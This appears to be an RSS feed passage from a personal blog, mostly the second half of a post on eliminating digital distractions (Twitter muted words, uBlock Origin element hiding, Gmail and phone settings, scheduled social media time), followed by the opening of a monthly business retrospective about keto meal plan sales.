 &lt;a href="https://mtlynch.io/eliminate-distractions/twitter-settings.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/twitter-settings_hu_95645bdcef44d5c0.jpg 300w, https://mtlynch.io/eliminate-distractions/twitter-settings_hu_999a18c639b67f85.jpg 600w, https://mtlynch.io/eliminate-distractions/twitter-settings.jpg 600w'
 src="https://mtlynch.io/eliminate-distractions/twitter-settings.jpg" alt="Twitter&amp;#39;s trending topics for Abu Dhabi" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Adjusting location for Twitter Trending Topics.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Here&amp;rsquo;s how my trends panel looks after I set it to Abu Dhabi.&lt;/p>




















 
 
 







&lt;figure class="img" style="max-width: 352px">



 &lt;a href="https://mtlynch.io/eliminate-distractions/abu-dhabi-trends.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 352px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/abu-dhabi-trends_hu_b4b76426dadef497.jpg 300w, https://mtlynch.io/eliminate-distractions/abu-dhabi-trends.jpg 352w'
 src="https://mtlynch.io/eliminate-distractions/abu-dhabi-trends.jpg" alt="Setting Twitter trends to Abu Dhabi results in mostly Arabic hashtags" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Twitter Trending Topics for Abu Dhabi, UAE&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The trends are mostly in Arabic, which I can&amp;rsquo;t read. Even the English hashtag is specific to the United Arab Emirates.&lt;/p>
&lt;h3 id="mute-block-and-unfollow-your-way-to-a-tidy-twitter-feed">Mute, block, and unfollow your way to a tidy Twitter feed&lt;/h3>
&lt;p>I initially joined Twitter to share my blog posts and find other interesting content relevant to my work. It&amp;rsquo;s not how I want to consume news or political opinions, but I started following a few comedians and celebrities for fun. Over time, negative political rhetoric and shallow outrage inundated my feed. Most of the negativity was coming from celebrity accounts, so I trimmed my follow list.&lt;/p>
&lt;p>Eliminating irrelevant accounts cleared most of the low-quality content, and I eradicated the remainder by adding &lt;a href="https://twitter.com/settings/muted_keywords">muted words&lt;/a>:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/eliminate-distractions/twitter-muted.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/twitter-muted_hu_d2975e4988170521.jpg 300w, https://mtlynch.io/eliminate-distractions/twitter-muted_hu_e2d153142d1cfda8.jpg 600w, https://mtlynch.io/eliminate-distractions/twitter-muted.jpg 600w'
 src="https://mtlynch.io/eliminate-distractions/twitter-muted.jpg" alt="Twitter&amp;#39;s trending topics" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Use &lt;a href="https://twitter.com/settings/muted_keywords">muted words&lt;/a> to filter out current events and topics you&amp;rsquo;re uninterested in engaging with on Twitter.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Twitter evolves quickly, so this is a continuous process. When too much of my feed fills with uninteresting content, I review my follow list for accounts whose signal-to-noise ratio is poor and look for new muted words.&lt;/p>
&lt;h2 id="stackoverflow--stackexchange">StackOverflow / StackExchange&lt;/h2>
&lt;h3 id="ignore-hot-questions">Ignore &amp;ldquo;hot questions&amp;rdquo;&lt;/h3>
&lt;p>StackOverflow offers valuable solutions to many programming roadblocks. Unfortunately, they also try to steal my focus and drag me deeper into their platform. Their sidebar is teeming with distractions: &amp;ldquo;hot questions,&amp;rdquo; blog posts, and job listings. The &amp;ldquo;hot questions&amp;rdquo; are especially pernicious because StackOverflow no doubt fills this panel with the questions that attract the most clicks.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/eliminate-distractions/stackoverflow-sidebars.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/stackoverflow-sidebars_hu_d7c733012e867e93.jpg 300w, https://mtlynch.io/eliminate-distractions/stackoverflow-sidebars_hu_c2344f81c8888980.jpg 600w, https://mtlynch.io/eliminate-distractions/stackoverflow-sidebars_hu_68a2eccedc2ab7b6.jpg 800w, https://mtlynch.io/eliminate-distractions/stackoverflow-sidebars.jpg 1020w'
 src="https://mtlynch.io/eliminate-distractions/stackoverflow-sidebars.jpg" alt="Twitter&amp;#39;s trending topics" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>“Hot Questions” on StackOverflow distract you from the problem you&amp;rsquo;re trying to solve&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The &amp;ldquo;hot questions&amp;rdquo; are never relevant to the problem I came to StackOverflow to solve. But if I&amp;rsquo;m on StackOverflow, I&amp;rsquo;m frustrated with a technical problem and easily tempted by distractions.&lt;/p>
&lt;p>I solve this problem with a free browser extension: &lt;a href="https://github.com/gorhill/uBlock">uBlock Origin&lt;/a>. Its primary purpose is to block ads, but its lesser-known &amp;ldquo;element picker&amp;rdquo; allows you to hide any page element permanently with a few mouse clicks:&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="stackoverflow-cleaning.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>Removing all sidebar distractions from StackOverflow using &lt;a href="https://github.com/gorhill/uBlock">uBlock Origin&lt;/a>&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>This technique works on many sites, though it does occasionally break after redesigns. It&amp;rsquo;s ineffective on sites like Twitter because they generate so much of their page layouts dynamically that uBlock Origin&amp;rsquo;s rules become invalid on subsequent visits.&lt;/p>
&lt;p>StackOverflow offers a native setting to disable &amp;ldquo;Hot Questions,&amp;rdquo; though there&amp;rsquo;s no option to hide the other distracting sidebar panels. To suppress &amp;ldquo;Hot Questions&amp;rdquo; through app settings, go to &lt;a href="https://stackoverflow.com/users/preferences/">Site Settings &amp;gt; Preferences&lt;/a> and check the box for &amp;ldquo;Hide Hot Network Questions&amp;rdquo;:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/eliminate-distractions/stackoverflow-settings.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/stackoverflow-settings_hu_13346fc755e49a82.jpg 300w, https://mtlynch.io/eliminate-distractions/stackoverflow-settings_hu_159762d33c3f6ebd.jpg 600w, https://mtlynch.io/eliminate-distractions/stackoverflow-settings_hu_8281ff93a43537eb.jpg 800w, https://mtlynch.io/eliminate-distractions/stackoverflow-settings_hu_a0ecc0f1ebafb46e.jpg 1200w, https://mtlynch.io/eliminate-distractions/stackoverflow-settings.jpg 1274w'
 src="https://mtlynch.io/eliminate-distractions/stackoverflow-settings.jpg" alt="Screenshot of StackOverflow&amp;#39;s settings page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Click &amp;ldquo;Hide Hot Network Questions&amp;rdquo; in &lt;a href="https://stackoverflow.com/users/preferences/">StackOverflow settings&lt;/a> to eliminate distracting questions.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="email">Email&lt;/h2>
&lt;h3 id="hide-your-gmail-inbox">Hide your Gmail inbox&lt;/h3>
&lt;p>Gmail forces you to see new messages in your inbox before you do anything else in the app. If there&amp;rsquo;s information you need to find in an old email, you can&amp;rsquo;t access it without risking distraction from new emails.&lt;/p>
&lt;p>Fortunately, there&amp;rsquo;s a tool that solves this problem: &lt;a href="https://inboxwhenready.org/">Inbox When Ready&lt;/a>. It allows you to access Gmail&amp;rsquo;s standard functionality but hides new messages until you explicitly choose to see them. You can still allow messages to show up in your inbox immediately when they match certain rules (e.g., mail from a particular sender or with specific keywords).&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/eliminate-distractions/inbox-when-ready.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/inbox-when-ready_hu_1063a58b874e507.jpg 300w, https://mtlynch.io/eliminate-distractions/inbox-when-ready_hu_740b0b60ddb69efe.jpg 600w, https://mtlynch.io/eliminate-distractions/inbox-when-ready_hu_60c56e892d591a63.jpg 800w, https://mtlynch.io/eliminate-distractions/inbox-when-ready.jpg 982w'
 src="https://mtlynch.io/eliminate-distractions/inbox-when-ready.jpg" alt="Gmail screenshot with Inbox When Ready enabled" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>When an email merits a thoughtful response, I create a task for it in my &lt;a href="https://nirvanahq.com/">to-do list app&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;div class="notice notice-info">
 If you use a desktop mail client like Outlook or Thunderbird, disabling automatic email checking achieves the same effect as Inbox When Ready. Unfortunately, I haven&amp;rsquo;t discovered an equivalent solution for mobile devices.
&lt;/div>

&lt;h3 id="move-your-to-do-list-out-of-your-inbox">Move your to-do list out of your inbox&lt;/h3>
&lt;p>At this point, &amp;ldquo;don&amp;rsquo;t use your inbox as a to-do list&amp;rdquo; is cliché advice, but I&amp;rsquo;ll say it anyway:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Don&amp;rsquo;t use your inbox as a to-do list&lt;/strong>&lt;/li>
&lt;/ul>
&lt;p>It&amp;rsquo;s tempting to manage tasks with your email inbox because it &lt;em>seems&lt;/em> so convenient. In reality, it&amp;rsquo;s a horrendous solution:&lt;/p>
&lt;ul>
&lt;li>It grants power over your time to anyone who writes you an email.&lt;/li>
&lt;li>It makes it impossible to order your tasks by priority.&lt;/li>
&lt;li>It couples the act of reviewing your to-do list with the act of checking for new emails.&lt;/li>
&lt;/ul>
&lt;p>Instead, I process each email using the workflow that David Allen popularized in &lt;a href="https://smile.amazon.com/Getting-Things-Done-Stress-Free-Productivity/dp/0143126563/">&lt;em>Getting Things Done&lt;/em>&lt;/a>:&lt;/p>
&lt;ol>
&lt;li>If the email doesn&amp;rsquo;t require a response, I archive it.&lt;/li>
&lt;li>If the email requires a response I can write in under two minutes, I reply immediately.&lt;/li>
&lt;li>For all other emails, I add &amp;ldquo;Respond to [person]&amp;rdquo; to my to-do list and then archive the email.&lt;/li>
&lt;/ol>
&lt;p>If you currently manage tasks through your inbox, the prospect of maintaining a whole separate task list probably sounds tedious and annoying. Try it for a week.&lt;/p>
&lt;p>Before extracting my to-do list from my inbox, I never realized the power those emails held over me. Any time I checked my inbox, every message was sitting there, begging for my attention. Now, when an email requires a non-urgent response, I create a task and schedule my reply for an appropriate time. It gives me the freedom to forget about the email because I know my to-do list will remind me when the time is right.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 787px">



 &lt;a href="https://mtlynch.io/eliminate-distractions/nirvana-tasks.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 787px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/nirvana-tasks_hu_34ee0a16cac5fce9.jpg 300w, https://mtlynch.io/eliminate-distractions/nirvana-tasks_hu_4e02061ca3fc2d50.jpg 600w, https://mtlynch.io/eliminate-distractions/nirvana-tasks.jpg 785w'
 src="https://mtlynch.io/eliminate-distractions/nirvana-tasks.jpg" alt="Chat settings in Gmail" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>When an email merits a thoughtful response, I create a task for it in my &lt;a href="https://nirvanahq.com/">to-do list app&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;div class="notice notice-info">
 My to-do list app of choice is &lt;a href="https://nirvanahq.com/">Nirvana&lt;/a>. It&amp;rsquo;s &lt;em>okay&lt;/em>, not great. People tell me good things about &lt;a href="https://todoist.com">Todoist&lt;/a>, but I&amp;rsquo;m too accustomed to my Nirvana workflow to switch.
&lt;/div>

&lt;h3 id="unbundle-hangouts-from-gmail">Unbundle Hangouts from Gmail&lt;/h3>
&lt;p>I send all of my texts through Hangouts because it allows me to type on my desktop keyboard instead of the tiny virtual keyboard on my phone. Unfortunately, Google integrates Hangouts into my Gmail by default, creating intrusive bundling. Checking my email means seeing my texts and vice-versa.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/eliminate-distractions/hangouts-in-gmail.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/hangouts-in-gmail_hu_8ee9c58e970ede56.jpg 300w, https://mtlynch.io/eliminate-distractions/hangouts-in-gmail_hu_40db27ce5a70a218.jpg 600w, https://mtlynch.io/eliminate-distractions/hangouts-in-gmail_hu_955cfd941813c04e.jpg 800w, https://mtlynch.io/eliminate-distractions/hangouts-in-gmail_hu_f207e5614aa424c0.jpg 1200w, https://mtlynch.io/eliminate-distractions/hangouts-in-gmail.jpg 1606w'
 src="https://mtlynch.io/eliminate-distractions/hangouts-in-gmail.jpg" alt="Hangouts embedded in Gmail" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>By default, Gmail embeds Hangouts into your inbox.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>This is an easy problem to solve. Go to the &lt;a href="https://mail.google.com/mail/u/0/#settings/chat">chat settings in Gmail&lt;/a> and select &amp;ldquo;Chat off.&amp;rdquo;&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 823px">



 &lt;a href="https://mtlynch.io/eliminate-distractions/gmail-disable-chat.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 823px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/gmail-disable-chat_hu_154a89c789c5a369.jpg 300w, https://mtlynch.io/eliminate-distractions/gmail-disable-chat_hu_813189de42e592b.jpg 600w, https://mtlynch.io/eliminate-distractions/gmail-disable-chat_hu_ad7c4cc601c73b9e.jpg 800w, https://mtlynch.io/eliminate-distractions/gmail-disable-chat.jpg 821w'
 src="https://mtlynch.io/eliminate-distractions/gmail-disable-chat.jpg" alt="Chat settings in Gmail" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Disabling chat in &lt;a href="https://mail.google.com/mail/u/0/#settings/chat">Gmail settings&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Now, Hangouts messages will not appear in your Gmail, but you can still access Hangouts through its dedicated URL: &lt;a href="https://hangouts.google.com">https://hangouts.google.com&lt;/a>.&lt;/p>
&lt;h2 id="use-social-media-with-a-dedicated-browser-profile">Use social media with a dedicated browser profile&lt;/h2>
&lt;p>One way I&amp;rsquo;ve found to curb my bad habits is to put obstacles in front of them. For example, I resist the temptation to eat junk food by not keeping any of it in my house. It doesn&amp;rsquo;t completely protect me from poor eating because intense cravings can always drive me to the store. But 99% of the time, laziness prevents me from making the unhealthy choice.&lt;/p>
&lt;p>Free of obstacles, it&amp;rsquo;s painfully easy for me to indulge in social media on my computer. I get bored, hit Ctrl+T to open a new tab, then visit Facebook, Twitter, or reddit.&lt;/p>




















 
 
 







&lt;figure class="img" style="max-width: 443px">



 &lt;a href="https://mtlynch.io/eliminate-distractions/typewriter.png">
 &lt;img
 
 sizes="(min-width: 768px) 443px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/typewriter_hu_3ac0c242db8d7aa7.png 300w, https://mtlynch.io/eliminate-distractions/typewriter.png 443w'
 src="https://mtlynch.io/eliminate-distractions/typewriter.png" alt="relevant xkcd cartoon" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&amp;ldquo;Typewriter&amp;rdquo; by &lt;a href="https://xkcd.com/477/">xkcd&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>To curb my social media usage, I add mildly annoying hurdles to interrupt my habits. I sign out of time-waster sites in my main browser and access them only through a separate, dedicated browser profile.&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="browser-profiles.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>Setting up separate browser profiles in Chrome&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>This seemingly minor speed bump prevents me from mindlessly popping open a new tab and visiting time-waster sites. To visit Facebook, I have to choose it consciously. It also means that when visiting Facebook for other reasons, such as finding information for a local business, Facebook can&amp;rsquo;t show me personal notifications.&lt;/p>
&lt;p>This is sufficient for sites like Facebook or Twitter that are near useless when you&amp;rsquo;re signed out. For others, like a news site, I add its URL to uBlock Origin&amp;rsquo;s filter rules. That way, any time I visit out of habit, uBlock Origin forces me to make a conscious choice about spending time on the site.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/eliminate-distractions/block-news3.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/block-news3_hu_f803756d14ad0b9b.jpg 300w, https://mtlynch.io/eliminate-distractions/block-news3_hu_3ed30ead749c6f6d.jpg 600w, https://mtlynch.io/eliminate-distractions/block-news3.jpg 765w'
 src="https://mtlynch.io/eliminate-distractions/block-news3.jpg" alt="The browser blocks subsequent visits to uBlock Origin" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Blocking Google News&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Here&amp;rsquo;s how to set that up:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 






&lt;div class="img" style="max-width: 765px">



 &lt;a href="https://mtlynch.io/eliminate-distractions/block-news1.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 765px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/block-news1_hu_c06fd451d07c5cde.jpg 300w, https://mtlynch.io/eliminate-distractions/block-news1_hu_7b504de1958f381d.jpg 600w, https://mtlynch.io/eliminate-distractions/block-news1.jpg 765w'
 src="https://mtlynch.io/eliminate-distractions/block-news1.jpg" alt="Open uBlock Origin settings" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 






&lt;div class="img" style="max-width: 765px">



 &lt;a href="https://mtlynch.io/eliminate-distractions/block-news2.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 765px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/block-news2_hu_ec0138c7925b9ae2.jpg 300w, https://mtlynch.io/eliminate-distractions/block-news2_hu_7f2beaa9a2414e56.jpg 600w, https://mtlynch.io/eliminate-distractions/block-news2.jpg 765w'
 src="https://mtlynch.io/eliminate-distractions/block-news2.jpg" alt="Adding Google News as a blocked site in uBlock Origin" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Using &lt;a href="https://github.com/gorhill/uBlock">uBlock Origin&lt;/a> rules to block Google News.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h2 id="phone">Phone&lt;/h2>
&lt;h3 id="set-your-phone-to-do-not-disturb-forever">Set your phone to &amp;ldquo;Do Not Disturb&amp;rdquo; forever&lt;/h3>
&lt;p>My phone has been on &amp;ldquo;Do Not Disturb&amp;rdquo; mode continuously for the last 18 months. Incoming phone calls will set off my ringer, but other than that, my phone can&amp;rsquo;t interrupt my focus. I don&amp;rsquo;t see notifications for emails, texts, or any other apps.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 350px">



 &lt;a href="https://mtlynch.io/eliminate-distractions/do-not-disturb.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 350px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/do-not-disturb_hu_61931e1c5d290209.jpg 300w, https://mtlynch.io/eliminate-distractions/do-not-disturb_hu_1e60df86370bb8f9.jpg 600w, https://mtlynch.io/eliminate-distractions/do-not-disturb_hu_f20c187a0bd6ca1.jpg 800w, https://mtlynch.io/eliminate-distractions/do-not-disturb.jpg 1080w'
 src="https://mtlynch.io/eliminate-distractions/do-not-disturb.jpg" alt="Do Not Disturb settings in Android" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I permanently set my phone to Do Not Disturb.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I discovered this solution by mistake. Intending to use &amp;ldquo;Do Not Disturb&amp;rdquo; only during periods of deep focus, I&amp;rsquo;d often forget to re-enable notifications afterward. It turned out that there was no need.&lt;/p>
&lt;p>My life is better without notifications. If I want to check my texts, I check my texts. There&amp;rsquo;s no need to see seven apps begging for my attention every time I take out my phone.&lt;/p>
&lt;h3 id="replace-texts-with-phone-calls">Replace texts with phone calls&lt;/h3>
&lt;p>Unfortunately, there&amp;rsquo;s no equivalent of Inbox When Ready for text messages. As soon as you open your texting app, you see all texts from all of your contacts. I&amp;rsquo;ve never found any tools that limit when incoming texts become visible.&lt;/p>
&lt;p>My solution has been to text less. As much as possible, I try to move text conversations to phone calls. Instead of maintaining an ongoing text conversation throughout the day, my girlfriend and I call each other in the evening. Catching up with a friend who lives across the country is quicker with a single phone call than 100 texts.&lt;/p>
&lt;h2 id="replace-online-communities-with-real-life-meetups">Replace online communities with real-life meetups&lt;/h2>
&lt;p>I originally met my friend &lt;a href="https://twitter.com/jupiterunknown">David Toth&lt;/a> at an &lt;a href="https://www.indiehackers.com/meetups">Indie Hackers meetup&lt;/a> I organized in Manhattan. When he told me that he had traveled three hours from Western Massachusetts to attend, I thought he was nuts. Later, I discovered that his long trip fit into a strikingly sensible strategy.&lt;/p>
&lt;p>David loves meeting other tech founders, but he only has finite time to do it. He found that his in-person interactions were almost always richer and longer-lasting than relationships he formed online, so he dedicates nearly all of his networking time to real-life events.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/eliminate-distractions/indiehackers-august.webp">
 &lt;img
 
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/indiehackers-august_hu_16796ed2a74f82de.webp 300w, https://mtlynch.io/eliminate-distractions/indiehackers-august_hu_575ee16dde64b991.webp 600w, https://mtlynch.io/eliminate-distractions/indiehackers-august_hu_7597417ed3100c11.webp 800w, https://mtlynch.io/eliminate-distractions/indiehackers-august_hu_a1339c25f13cd650.webp 1200w, https://mtlynch.io/eliminate-distractions/indiehackers-august.webp 4032w'
 src="https://mtlynch.io/eliminate-distractions/indiehackers-august.webp" alt="Group photo of Indie Hackers meetup" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Photo from a recent Indie Hackers Western Mass Meetup, which David and I now co-organize&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>David&amp;rsquo;s philosophy made complete sense to me. I&amp;rsquo;m still in touch with several people today after meeting them at a meetup or conference years ago for only 30 minutes. That&amp;rsquo;s not true of anyone I interact with on Twitter or reddit. In my social media history, there are countless examples of me spending an hour or more to engage with someone, but now I have no memory of the conversation and am not in touch with the person at all.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/eliminate-distractions/indiehackers-feedback.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/eliminate-distractions/indiehackers-feedback_hu_d1c0087bec28f991.jpg 300w, https://mtlynch.io/eliminate-distractions/indiehackers-feedback_hu_4b6f279b2d790781.jpg 600w, https://mtlynch.io/eliminate-distractions/indiehackers-feedback.jpg 669w'
 src="https://mtlynch.io/eliminate-distractions/indiehackers-feedback.jpg" alt="Chat settings in Gmail" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I probably spent 90+ minutes testing this user&amp;rsquo;s app and giving him &lt;a href="https://www.indiehackers.com/product/libate/-L_2noyl2XS5xGWrIwTp?commentId=-L_QMW3ruNo_97Jevk4T">feedback on Indie Hackers&lt;/a>. I barely remember the interaction and doubt that he remembers me.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="schedule-time-for-email-texts-and-social-media">Schedule time for email, texts, and social media&lt;/h2>
&lt;p>When I first noticed myself overusing social media, I set a vague objective to use it less. And I did at first. Then, my usage would slowly creep up over time.&lt;/p>
&lt;p>Scheduling explicit start and end times for different apps has been more effective. For example, I process my email and texts in three or four 30-minute blocks each day, deferring the first check until after lunch. I give Twitter, reddit, and Facebook a combined half-hour block after dinner.&lt;/p>
&lt;p>This practice forces me to decide ahead of time how much real estate in my day I grant to email and social media. It also helps keep the less useful parts of social media appropriately dull. There&amp;rsquo;s a 24-hour turnaround before I see responses to anything I post, so it&amp;rsquo;s hard for pointless conversations to build too much momentum.&lt;/p>
&lt;h2 id="whats-the-harm-in-checking-email-and-social-media-during-idle-times">&amp;ldquo;What&amp;rsquo;s the harm in checking email and social media during idle times?&amp;rdquo;&lt;/h2>
&lt;p>For a long time, I thought I was managing my email and social media well. I wasn&amp;rsquo;t one of those people who kept their inbox open all day or let notifications pop up on my screen every time I got a Facebook like. &lt;em>Buuuut&amp;hellip;&lt;/em> if a webpage was loading slowly or a two-minute automated test was running, why not check my email or Twitter instead of sitting there being, bored?&lt;/p>
&lt;p>The first problem is that the scenario is a fantasy. If I check Twitter while waiting for a two-minute process to finish, it takes me at least 10 minutes to return to my original task.&lt;/p>
&lt;p>The second problem is something I&amp;rsquo;d never heard of until last year: &lt;a href="https://www.sciencedirect.com/science/article/abs/pii/S0749597809000399">attention residue&lt;/a>. I learned about it from the book &lt;a href="https://smile.amazon.com/Deep-Work-Focused-Success-Distracted/dp/1455586692/">&lt;em>Deep Work&lt;/em>&lt;/a> by Cal Newport (&lt;a href="https://mtlynch.io/book-reports/deep-work/">my notes&lt;/a>). When you shift focus, there&amp;rsquo;s a &amp;ldquo;residue&amp;rdquo; from the previous task that occupies your mind and decreases performance on your new activity. When you check email and then go back to your job, your mind is still processing the new emails, and it distracts you even if you&amp;rsquo;re not conscious of it.&lt;/p>
&lt;p>The last problem is that if you check social media any time you feel a twinge of boredom, you train your brain to expect constant stimulation. &lt;strong>It&amp;rsquo;s okay to feel bored!&lt;/strong> Boredom is a skill. The more you can tolerate boredom when you&amp;rsquo;re doing nothing, the easier it is to rest in deep thought when you&amp;rsquo;re facing a difficult challenge.&lt;/p>
&lt;h2 id="the-hardest-part-of-changing-habits-is-the-beginning">The hardest part of changing habits is the beginning&lt;/h2>
&lt;p>For the last 15 years, I&amp;rsquo;ve checked my email within minutes of waking up. My first few days using scheduled email times felt like starving myself. I spent my mornings obsessively checking the time and counting the minutes until I could open my inbox.&lt;/p>
&lt;p>After a week, I no longer felt the call of my inbox when I woke up. By the two-week mark, I almost dreaded it. My mornings had become so peaceful and productive. Once I checked my email, I was opening the door to whatever stresses awaited me there.&lt;/p>
&lt;p>I&amp;rsquo;ve noticed a similar pattern with every tech habit I break. I&amp;rsquo;m painfully conscious of the absence for the first few days, and then it quickly becomes normal and preferable.&lt;/p>
&lt;h2 id="if-you-backslide-start-over">If you backslide, start over&lt;/h2>
&lt;p>Some days, I still find myself obsessively checking texts and email. When I&amp;rsquo;m feeling frustrated or lonely, I seek comfort from email and social media. Rarely do these apps improve my mood, so my desperation for distraction grows, and the cycle repeats.&lt;/p>
&lt;p>On days of weakened willpower, I resign myself to the bad day, avoid beating myself up about it, and focus on doing better the following day. Going to sleep and waking up feels like a reset, so I find it easier to return to my good habits in the morning.&lt;/p>
&lt;h2 id="monitor-yourself-to-prevent-apps-from-managing-you">Monitor yourself to prevent apps from managing you&lt;/h2>
&lt;p>The techniques for eliminating distractions vary from app to app, but the underlying principles are the same:&lt;/p>
&lt;ol>
&lt;li>Decide what you want from the app.&lt;/li>
&lt;li>Evaluate what you must invest to earn that benefit.&lt;/li>
&lt;li>Suppress mechanisms in the app that induce you to invest more than you intended.&lt;/li>
&lt;/ol>
&lt;p>Apps will continue to evolve and find new ways to grab your attention. Nobody will defend your focus except for you. The only way to conserve your limited attention is to exercise vigilance and introspection over the apps you use.&lt;/p>
&lt;hr>
&lt;p>&lt;em>&amp;ldquo;Ideal Facebook&amp;rdquo; cartoon by Loraine Yow.&lt;/em>&lt;/p></content:encoded></item><item><title>Is It Keto - Month 10</title><link>https://mtlynch.io/retrospectives/2019/11/</link><pubDate>Fri, 08 Nov 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2019/11/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I sold my first meal plan on &lt;a href="https://isitketo.org">Is It Keto&lt;/a>.&lt;/li>
&lt;li>I then tried five different experiments for increasing sales.&lt;/li>
&lt;li>Is It Keto&amp;rsquo;s revenue dropped for the month as I redirected resources toward its failing meal plans.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I &lt;a href="https://mtlynch.io/retrospectives/2019/10/#goals-for-next-month">declare what I&amp;rsquo;d like to accomplish&lt;/a>. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="earn-100-in-revenue-from-sales-of-keto-meal-plans">Earn $100 in revenue from sales of keto meal plans&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Earned only $23.87 from keto meal plan sales.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D+&lt;/li>
&lt;/ul>
